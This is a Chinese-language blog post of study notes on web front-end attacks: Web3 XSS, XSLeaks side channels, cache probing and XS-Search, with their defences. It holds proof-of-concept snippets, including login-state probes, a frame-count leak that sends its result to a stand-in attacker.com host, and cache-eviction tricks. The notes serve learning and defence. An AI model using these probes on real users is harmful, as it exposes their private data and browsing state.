
前言#
承接上篇 [Security] Clickjacking、MIME sniffing 攻擊與前端供應鏈攻擊,此篇主要敘述的是《Beyond XSS:探索網頁前端資安宇宙》 5–4~5–6 章節的筆記,若有錯誤歡迎大家回覆告訴我~
網頁前端攻擊在 Web3 的應用#
提到 Web3,多數會聯想到加密貨幣、元宇宙、NFT,其背後技術是區塊鏈、智慧合約,但 Web3 仍需要以 Web2(網頁世界)作為入口。
影響力更大的 XSS#
Web3 世界裡 XSS 的攻擊目標
- 偷資料
- 更有價值的:偷加密貨幣
加密貨幣世界中,每個人都有自己的錢包,像是瀏覽器上最知名錢包之一 Metamask。當要在 Metamask 授權交易或簽署訊息時,會跳出彈窗請使用者確認,若是若是交易或智慧合約授權,上面會寫合約地址、訊息。

這情況可能會產生這樣的攻擊:
- 情境:當使用者操作有名網站 PancakeSwap 時,Metamask 錢包跳出提示視窗要求同意交易
- 問題:多數人會因信任網站而按「確定」,然後因此損失大量加密貨幣
- 攻擊原理:
- 「簽署交易」是網站以 JavaScript 呼叫錢包提供的 API,讓錢包跳出相關介面,使用者同意才會用私鑰去簽署交易
- 當攻擊者掌握 JavaScript 的執行,就可在看似合法的網站跳出惡意交易彈窗,使用者同意後就會將加密貨幣授權給駭客的智慧合約,損失加密貨幣
攻擊案例#
書中提了兩個案例,一個是 2022 年 PREMINT 的 NFT 網站漏洞,因網站的 JavaScript 檔案遭竄改,導致使用者無意間同意駭客的智慧合約授權。另一個案例是 2022 年 Sam Curry 發現的 Next.js 相關套件和 @netlify/ipx 的漏洞,攻擊者可用供應鏈攻擊的方式,利用 XSS 跳出智慧合約授權的畫面,誘騙使用者點擊,其影響力在於它可透過漏洞攻擊 Gemini 或 PancakeSwap 這類有名大網站。
Web3 前端攻擊小結#
Web3 產品也需注意並防護傳統網頁資安問題,Web3 防禦面向包含智慧合約、傳統網頁資安釣魚攻擊與私鑰安全。
前端旁路攻擊:XSLeaks#
XSLeaks(Cross-site leaks) 意思是可利用一些技巧洩露出別的網站的一些資訊,屬於「跨越限制攻擊其他網站」,不過作者 Huli 將它放在後面才介紹,因為它涉及許多先備知識。
什麼是旁路攻擊#
旁路攻擊(side-channel attack) 就是一種旁側敲擊,在談 CPU 漏洞 Meltdown 與 Spectre 時有提過,在 Spectre 攻擊中,攻擊者可利用存取時間來推測 CPU cache 內的資料。
旁路攻擊的例子例如《今際之國的闖關者》出現過的「燈泡問題」:
- 情境:現在房間內有三個開關,對應另一房間的三個燈泡,兩房間隔門不可視,你可以隨意操縱開關,操作開關後僅能進到房間確認一次
- 問題:如何判定三開關分別對應的燈泡?
- 解法
(1) 開 A 開關數分鐘後關閉
(2) 開 B 開關並進入房間
(3) 亮著的燈泡對應 B 開關
(4) 熱的燈泡對應 A 開關
(5) 冷的燈泡對應 C 開關
在解法中,判斷的依據除了「燈泡亮暗」,還有開燈時會產生的副作用(side effect)「溫度」,以副作用「溫度」來判斷資訊,這就是旁路攻擊。
XSLeaks 就是將燈泡問題旁路攻擊的原理應用在網頁前端,XSLeaks 利用旁路攻擊的方式繞過瀏覽器同源政策,洩露出另一個不同來源網站的資訊。
補充:瀏覽器同源政策
瀏覽器同源政策會阻止一個網站去存取另一個非同源網站的資訊。
XSLeaks 實際體驗#
https://browserleaks.com/social 是一個用來偵測使用者在哪些網站上有登入的網頁,以我來說,結果如下:

這網站如何偵測使用者在哪些網站有登入?
它透過載入圖片偵測,以下說明運作原理。
原理 1:載入圖片時可用 onerror 跟 onload 判斷圖片是否載入成功
載入成功的定義是 response 狀態碼是 200,且內容也是一張圖片,而如果載入的是網頁,會觸發 onerror。
原理 2:網站登入重導向的功能
舉例來說,當前往 https://shop.example.com/orders/12345 查看訂單時,網站發現使用者沒登入因此網址改導向 https://shop.example.com/login?redirect=/orders/12345 ,登入成功後會再自動導回原本要去的頁面。這樣自動重導向的優點是提升使用者體驗,使用者登入後不需再自己回去想去的頁面。而若在登入狀態下前往 https://shop.example.com/login?redirect=/orders/12345,會直接被導到最後的訂單頁。
偵測一個 cross-origin 網頁是否登入就是運用圖片載入 + 登入後重導向這兩個原理。方式就是以網頁的一張圖片作為登入後重導向的目的網址,用 img 載入這網址,以 Medium 為例,網址可以是 https://medium.com/m/login-redirect?redirectUrl=https%3A%2F%2Fmedium.com%2Ffavicon.ico,HTML 寫法如下:
<img src="https://medium.com/m/login-redirect?redirectUrl=https%3A%2F%2Fmedium.com%2Ffavicon.ico" onerror="alert('Not logged in')" onload="alert('logged in')">- 如果沒登入,會跳到登入頁,img 內容不是圖片而是網頁,觸發
onerror - 如果有登入,會載入對應圖片,也就是 Medium 的 logo,
img順利載入圖片,觸發onload
圖片載入與否加上登入後重導向,可判斷使用者是否屬於登入狀態,這就是 XSLeaks 的一種。
利用狀態碼的 XSLeaks#
以 <img> 載入內容,只能判斷「最後載入的是不是圖片」,因為 img 會檢查狀態碼和 response 是否為圖片,其中一個不符合就會 error。而以 <script> 載入內容,可判斷「回傳的 response 狀態碼是否為 200」,若狀態碼是 200,代表 URL 的東西有成功下載,觸發 onload,若載入後執行 JavaScript 發現不是合法程式碼,再拋錯(但就不是 response 錯誤的狀態碼)。
因此可用 <script> 間接知道一個 URL 的狀態碼是成功或失敗,如下範例程式碼,載入 '/' 後會出現 200_load 與 400_error,但 console 會看到錯誤訊息:Uncaught SyntaxError: Unexpected token '<' (at 200:1:1)。200_load 是因為 /200 回傳狀態碼 200,觸發 onload,但內容是 html 因此無法作為 JavaScript 執行,會報錯 Uncaught SyntaxError。400_error則是因 /400 回傳狀態碼 400,觸發 onerror。
const express = require('express');const app = express();
app.get('/200', (req, res) => { res.writeHead(200, { 'Content-Type': 'text/html'}) res.write('<h1>hlelo</h1>') res.end()});
app.get('/400', (req, res) => { res.writeHead(400) res.end()});
app.get('/', (req, res) => { res.writeHead(200, { 'Content-Type': 'text/html' }) res.write('<script src="/200" onerror=alert("200_error") onload=alert("200_load")></script>') res.write('<script src="/400" onerror=alert("400_error") onload=alert("400_load")></script>') res.end()});
app.listen(5555, () => { console.log('Server is running on port 5555');});知道 response 狀態碼可以做什麼? 實際案例#
2019 年 terjanq 回報的 Twitter 漏洞 Twitter ID exposure via error-based side-channel attack 與狀態碼有關。Twitter 有個 API 會回傳使用者相關資訊 https://developer.twitter.com/api/users/USER_ID/client-applications.json,如果沒登入、或登入但 USER_ID 對不上,會回傳 403 狀態碼;如果有登入且 USER_ID 正確,會回傳對應使用者資料。這權限設計沒問題,但狀態碼的差異造成 XSLeaks 風險。
攻擊方式如下:
- 攻擊者已知小明推特
USER_ID是 12345 - 在攻擊者自己的網站寫如下程式,若小明在登入推特狀態下進入此網站,就會跳出彈窗
<script src=https://developer.twitter.com/api/users/12345/client-applications.json onload="alert('嗨嗨小明,我知道你在看!')"></script>攻擊影響力在於可侵害隱私權,使用者訪問沒去過的網站卻被精準認出「你是不是某某人」。
XSLeaks 的防禦方式#
1. same-site cookie:將 cookie 設為 SameSite=Lax#
將 cookie 設為 SameSite=Lax後,無論用 <img> 或 <script>,都不會帶 cookie,且瀏覽器已預設 SameSite=Lax,預設就有此保護。
若網站自己把 cookie 設為 SameSite=None,就不受保護,https://browserleaks.com/social 可偵測到是否登入的網站,就是有開 SameSite=None 的網站。
推薦以 same-site cookie 防禦,最容易、簡單 👍
2. Cross-Origin-Resource-Policy 的 header#
CORP 在之前曾介紹過,是資源版的 CORS header,可阻止其他網站載入這些資源。
若是將上面範例程式碼改成這樣:
const express = require('express');const app = express();
app.get('/200', (req, res) => { res.writeHead(200, { 'Content-Type': 'text/html', 'Cross-Origin-Resource-Policy': 'same-origin', }); res.write('<h1>hlelo</h1>'); res.end();});
app.get('/400', (req, res) => { res.writeHead(400, { 'Cross-Origin-Resource-Policy': 'same-origin' }); res.end();});
app.get('/', (req, res) => { res.writeHead(200, { 'Content-Type': 'text/html', }); res.write( '<script src="/200" onerror=alert("200_error") onload=alert("200_load")></script>' ); res.write( '<script src="/400" onerror=alert("400_error") onload=alert("400_load")></script>' ); res.end();});
app.listen(5555, () => { console.log('Server is running on port 5555');});接著將 html 那段改成獨立一個檔案然後直接打開,載入 /200 和 /400 都會觸發 onerror。(將以下這段放在一個獨立的 html 檔案中)
<script src="http://localhost:5555/200"onerror=alert("200_error")onload=alert("200_load")></script><script src="http://localhost:5555/400"onerror=alert("400_error")onload=alert("400_load")></script>因為直接打開檔案的 scheme 是 file: ,和 http: scheme 不同,因此是不同 origin,不符合'Cross-Origin-Resource-Policy': 'same-origin' 的規定,因此會出錯。
3. 依據 Fetch Metadata 判斷#
Fetch Metadata 是網頁發出 request 時,瀏覽器自動加上的 header,包含以下:
Sec-Fetch-Site:發出請求的網站跟目標網站的關係
值包含same-originsame-sitecross-sitenone(無法歸類在上面的類型,例如瀏覽器從書籤點開網站)
Sec-Fetch-Mode:發出請求的模式
值包含same-originno-corscorsnavigate
Sec-Fetch-Dest:請求的目的地
值可參考 Sec-Fetch-Dest
舉例來說,從 cross-origin 的地方在頁面用 <script> 載入 http://localhost:5555/200,其 header 如下:
Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: script伺服器可依據 header 內容防範,若請求的網址是 API,那它只會被 fetch 呼叫,不可能被 <script> 或其他標籤載入,可用 Sec-Fetch-Dest 阻止非預期呼叫。
app.use((req, res, next) => { if (req.headers['Sec-Fetch-Dest'] !== 'empty') { res.end('Error') return } next()})4. 把成功跟失敗的狀態碼都改成 200,讓他人無法根據狀態碼差異偵測#
在後端很常有個討論,response 狀態碼該如何設定?
- 方法 1:將狀態碼作為資源本身的狀態碼
- e.g. 請求
/api/books/3時,若沒有此資源,就回傳 404 Not found
- e.g. 請求
- 方法2:將狀態碼作為 API 本身的狀態碼
- e.g. 請求
/api/books/3時,因 API 存在所以回 200,body 內才回傳找不到的訊息 - e.g. 請求
/api/not_exist時,因 API 不存在所以回 404
- e.g. 請求
而方法 2「將狀態碼作為 API 本身的狀態碼」可解決 XSLeaks 問題,但特地改狀態碼以防範攻擊,牽涉的面向太多,不建議作為首要防禦選項。
其他可以 leak 的東西#
在 HTML 內,還可以 leak frames 的數量。瀏覽器會限制對 cross-origin window 的存取,有些東西可以存取有些不行:
✅ 可以:
- 用
location = '...'重導向 - 取得 frames 的數量
var win = window.open('http://localhost:5555')// 等 window 載入完成setTimeout(() => { // 若開啟的網頁中有一個 iframe,長度就是 1 alert(win.frames.length)}, 1000)❌不可以:取得 location.href 或其他值
取得 cross-origin window 的 frames 數量可以做什麼? 若網站會根據行為的不同,而有不同 iframe 數量,就可用這方式偵測網站行為。
實際案例是 2018 年資安公司 Imperva 部落格中的 Patched Facebook Vulnerability Could Have Exposed Private Information About You and Your Friends,說明如下:
- 情境:FB 搜尋功能可直接用網址進到搜尋結果頁,e.g.
https://www.facebook.com/search/str/chen/users-named/me/friends/intersect會顯示朋友中名字有「chen」的搜尋結果 - 問題:搜尋結果有東西時,頁面上會有一個 iframe;沒有結果,就不會有 iframe。因此可用
frames.length得知有沒有搜尋結果 - 攻擊方法
- 準備一個 HTML
<script> let win = window.open('https://www.facebook.com/search/str/chen/users-named/me/friends/intersect') setTimeout(() => { if (win.frames.length === 0) { fetch('https://attacker.com/?result=no') } else { fetch('https://attacker.com/?result=yes') } win.close() }, 2000)</script>-
將網頁傳給目標
-
目標點開網頁後,攻擊者的 server 就會收到是否有搜尋結果
針對這種攻擊的防禦方式是什麼呢?
- ⛔
same-site cookie Lax:防禦無效,因為這用的是window.open,same-site cookie strict 才能防禦 - ⛔ Fetch Metadata:防禦無效,因為這是個正常 request
- ✅ 加上 COOP(Cross-Origin-Opener-Policy)header:讓開啟的 window 跟原本的失去連結,攻擊者無法拿到
win.frames - ✅ 修改搜尋結果頁,無論有無搜尋結果,都統一有 iframe 或統一沒有,讓攻擊者無法透過 iframe 數量偵測資訊
XSLeaks 小結#
XSLeaks 的限制與影響力
- 限制:前置作業、條件通常較多,較難達成
- 影響力:能得到的資訊/達成的攻擊有限
Google 在 Bug Hunters 有頁面在講 XSLeaks,不建議賞金獵人把時間花在這,因為多數問題已知且有內部工程師專門研究。
XS-Search 與 Cache probing#
XS-Search 是結合 XSLeaks 跟搜尋的攻擊方式,其影響力是攻擊者可透過搜尋功能取得應該是私密的搜尋結果、機密資訊。
而 XSLeaks 除了利用搜尋功能取得機密資訊,還能利用 Cache probing。
Cache probing#
快取(Cache)是電腦科學中隨處可見的機制,目的是以空間換時間,加快執行速度、提升效能。不同層/不同類型的快取例如:
- JavaScript 層的快取
可在 JavaScript 為 request 實作一層快取,避免重複發送相同請求 - 瀏覽器的 HTTP 快取
根據 HTTP 的 response header 實作快取機制 - DNS 快取,多處都有 DNS 快取,包含
- 瀏覽器
- 作業系統
- DNS server
- CPU 的快取
- 內部有 L1、L2 等快取機制
快取與資安漏洞有何關係?CPU 漏洞 Spectre 與 Meltdown 與快取機制有關,cache probing 也與快取機制有關。
cache probing 意思是利用一個東西是否在快取中以回推原本的資訊,舉個例子🌰:
- 情境:使用者若有登入某網站,網站會顯示
welcome.png;沒登入就看不到welcome.png,而welcome.png圖片顯示後就會存在快取內 - 攻擊方式:使用者開啟頁面後,去偵測載入
welcome.png的時間,透過載入時間得知圖片是否在快取中,進而得知使用者有沒有登入 - 利用原理:在快取內的圖片載入速度較快,可從載入時間判斷是否在快取內
真實案例是 2020 年波蘭 App ProteGo Safe 網站漏洞,網站會依據人民回報的身體狀況顯示對應程度的圖片,而攻擊者可偵測圖片載入時間,判斷使用者的身體狀況,例如載入 high.png 的時間最快,代表使用者目前狀況是 high,可用 performance.getEntries() 取得圖片載入時間,得知誰載入最快。
不過此攻擊有個限制,首次載入後,所有圖片會存入快取,導致第二次測試無法判斷(所有圖片載入都很快,無法得知誰比較快),須清除快取才能繼續偵測。當伺服器回應 4xx 或 5xx 錯誤時,瀏覽器會清除快取,那如何讓 https://example.com/high.png 的回應是錯誤?
可利用網站使用的 Cloudflare WAF 功能,當請求網址上有可疑參數(如 ?etc/passwd)時,會被 WAF 阻擋、回傳 403。因此可在頁面加入 ?etc/passwd 並使用以下程式碼:
fetch(url, { cache: 'reload', mode: 'no-cors', referrerPolicy: 'unsafe-url'})設置 referrerPolicy 後,使用 fetch 發送圖片請求時,會自動帶 referrer header,referrer header 帶上現在網頁網址的 /etc/passwd,觸發伺服器回傳錯誤並清除快取。
延伸此攻擊案例的手法,假設有網站可讓使用者回報是否確診,並根據不同結果顯示不同圖片,攻擊者就可用類似技巧,透過圖片載入速度偵測是否確診,洩露個人隱私。
Cache probing 加 error event 的攻擊手法#
以載入時間判斷資源是否在快取內的限制是會受網路不確定性影響,若網路整體速度快,無法從速度差異判斷哪個有快取。
另外一種 XSLeaks 攻擊手法是 <img> 的 error event + cache probing,以下舉例:
- 情境:
https://app.monica.tw/search?q=abc頁面會依搜尋結果呈現不同畫面,若有搜尋到東西,會出現https://app.monica.tw/found.png;沒搜尋到則不會有這圖片 - 攻擊方式
- 清除快取:可利用 cookie bomb 類似概念,用 request 太大讓伺服器回傳錯誤,導致瀏覽器清除快取
// 程式碼改寫自 https://github.com/xsleaks/xsleaks/wiki/Browser-Side-Channels#cache-and-error-eventslet url = 'https://app.monica.tw/found.png';
// 這行可以在 URL 後面加上一堆逗號,送出去的 request 的 referrer 就會太大history.replaceState(1,1,Array(16e3));
// 發出 requestawait fetch(url, {cache: 'reload', mode: 'no-cors'});-
載入目標網站
https://app.monica.tw/search?q=abc,此時會依搜尋結果呈現畫面。若有搜尋到東西,https://app.monica.tw/found.png圖片會出現並存進瀏覽器快取 -
將現在網頁的網址改得很長,再去載入圖片
// 程式碼改寫自 https://github.com/xsleaks/xsleaks/wiki/Browser-Side-Channels#cache-and-error-eventslet url = 'https://app.monica.tw/found.png';
history.replaceState(1,1,Array(16e3));let img = new Image();img.src = url;try { await new Promise((r, e)=>{img.onerror=e;img.onload=r;}); alert('Resource was cached'); // Otherwise it would have errored out} catch(e) { alert('Resource was not cached'); // Otherwise it would have loaded}- 載入圖片時…
若圖片不在快取內,瀏覽器會發 request 去拿,此時會遇到第一步的狀況,header 太長伺服器回傳錯誤,觸發onerror事件。
若圖片在快取內,瀏覽器會直接用快取中的圖片,不會發 request,載入快取中圖片後,觸發onload事件。
從這例子可知,可用快取加 error 事件達到 XSLeaks,避免「計算載入時間」這不確定因素。
實際的 Google XS-Search 案例#
書中提了一個 2019 年 terjanq 在 Google 各產品找到 XS-Search 漏洞,受漏洞影響的產品包含 Gmail、Google Search、Google Contacts 和 YouTube 等。此攻擊可能洩露的資訊則包含搜尋紀錄、看過的影片、email 內容與書籤中的網頁清單等。
攻擊手法(以 Gmail 為例)
- 背景:Gmail 的進階搜尋功能可用 filter 指定搜尋條件,搜尋功能的 URL 可被複製並直接訪問搜尋結果頁,若搜尋成功,會出現某個 icon:
https://www.gstatic.com/images/icons/material/system/1x/chevron_left_black_20dp.png - 攻擊原理:利用搜尋結果存在與否,偵測出某搜尋的關鍵字是否存在
- 攻擊影響力:假設有網站直接寄送明文密碼給使用者 email,就可洩露出密碼。假設信件格式為:「您的密碼是12345,請小心保管」,攻擊者可依序搜尋,持續試探直到完整洩露密碼:
- 依序搜尋第一個字:「您的密碼是1」、「您的密碼是2」、「…」
- 依序搜尋第二個字:「您的密碼是11」、「您的密碼是12」、「…」
- 攻擊挑戰與限制
- 洩露過程耗時,需多次請求進行推測
- 此攻擊需讓使用者開啟新視窗,增加被使用者察覺的風險,需搭配社交工程技巧避免使用者察覺
由上可知,利用快取的 XSLeaks 攻擊在產品攻擊是可行的,且影響範圍不限於 Google,也適用於其他網站。而這類攻擊會影響多個網站,且不太算是網站本身問題的漏洞,通常會交給瀏覽器處理。
Cache partitioning#
上述攻擊的前提是「所有網站的快取都是共用的」,若打破此前提,則攻擊無效。
2020 年 Chrome 啟用了新機制 cache partitioning(快取分區),過去的快取管理方式是每個網站共用同一塊快取,快取的 key 就是單一 URL。而快取分區啟用後,快取的 key 改為一個 tuple,由底下三個值組成:
- top-level site
- current-frame site
- resource URL
改善後的快取機制運作原理#
- 範例 1:從
https://app.monica.tw/search?q=abc載入圖片https://app.monica.tw/found.png快取的 key
https://monica.twhttps://monica.twhttps://app.monica.tw/found.png- 範例 2:從
https://localhost:5555/exploit.html載入圖片https://app.monica.tw/found.png快取的 key
http://localhost:5555http://localhost:5555https://app.monica.tw/found.png沒有快取分區前,範例 1 和範例 2 的快取 key 只有 https://app.huli.tw/found.png 因此是共用同一快取。有快取分區後,要三個值都一樣,才會存取同一塊快取,而範例 1 和範例 2 快取 key 不同,因此快取無法共用,用到的快取不同,攻擊者就無法從其他頁面執行 cache probing 攻擊,偵測快取是否存在。
快取分區對正常網站的影響#
快取分區後會對共用 CDN 造成影響,有些網站(如:cdnjs)免費 host 許多函式庫,讓其他網站可輕鬆載入,像這樣:
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.5.1/jquery.min.js" integrity="sha512-bLT0Qm9VnAYZDflyKcBaQ2gg0hSYNQrJ8RilYldYQ1FxQYoCLtUjuuRuZo+fjqhx/qtq/1itJ0C2ejDxltZVFg==" crossorigin="anonymous"></script>原本同一快取可供多網站共用,提升載入效率(A 網站載入過這檔案,在 B 網站就不會再載入一次),啟用快取分區後,不同網站的快取 key 不同,需重新下載資源,就沒有共用快取提升載入效率的優點了。
快取分區的限制#
快取分區主要看「site」而非「origin」,Same-site 情境下仍可攻擊。舉例來說若從 https://test.monica.tw 發起攻擊,載入圖片 https://app.monica.tw/found.png,快取的 key 如下:
https://monica.twhttps://monica.twhttps://app.monica.tw/found.png而這和從 https://app.monica.tw/search?q=abc 載入圖片的 key 相同,可共用快取,因此可執行 cache probing 攻擊。
另外,Headless Chrome 未預設啟用快取分區,例如用 puppeteer 搭配 headless 模式訪問網站時,會共用同一個快取 key。
更多 XSLeaks#
更多 XSLeaks 可參考 XS-Leaks Wiki。
在 2021 年論文《 XSinator.com: From a Formal Model to the Automatic Evaluation of Cross-Site Leaks in Web Browsers》中,作者以自動化方式找出許多新 XSLeaks 方法,並在 https://xsinator.com/ 列出哪些瀏覽器版本會被 XSLeaks 影響。依照論文,XS-Leaks 可 leak 的東西分成五種,有各自方式可達成:
- Status code
- Redirects
- API usage
- Page Content
- HTTP header
其中在 Redirects 分類中有個「Max Redirect Leak」,是利用重新導向的最大次數限制,檢測伺服器端是否有進行重新導向。運作原理是利用 Fetch 規格重新導向次數的上限,Fetch 重導向次數限制為 20 次,規格這樣寫:
If request’s redirect count is 20, then return a network error.
檢測方式如下:
- 假設要測試的目標是
http://target.com/test,先在 server 做一個會重導向 19 次的 API,最後一次導向到http://target.com/test - 如果
http://target.com/test的 response 是重新導向,會觸發 20 次上限,回傳 network error,如果目標的 response 不是重新導向,那就沒事
因此能透過 fetch() 的執行是否會出錯,知道 http://target.com/test 的結果是不是重新導向。
小結#
XS-Leaks 攻擊成立的前提較多,最後能達到的成果和影響力相對 XSS 和 CSRF 偏小,但仍是個有趣的攻擊手法。
Reference:#
- https://aszx87410.github.io/beyond-xss/ch5/web3-attacks/
- https://aszx87410.github.io/beyond-xss/ch5/xsleaks-1/
- https://aszx87410.github.io/beyond-xss/ch5/xsleaks-2/
如有任何問題歡迎聯絡、不吝指教✍️